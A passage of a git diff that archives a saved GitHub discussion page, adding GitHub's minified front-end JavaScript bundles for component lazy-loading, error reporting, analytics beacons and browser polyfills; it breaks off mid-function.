r",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const 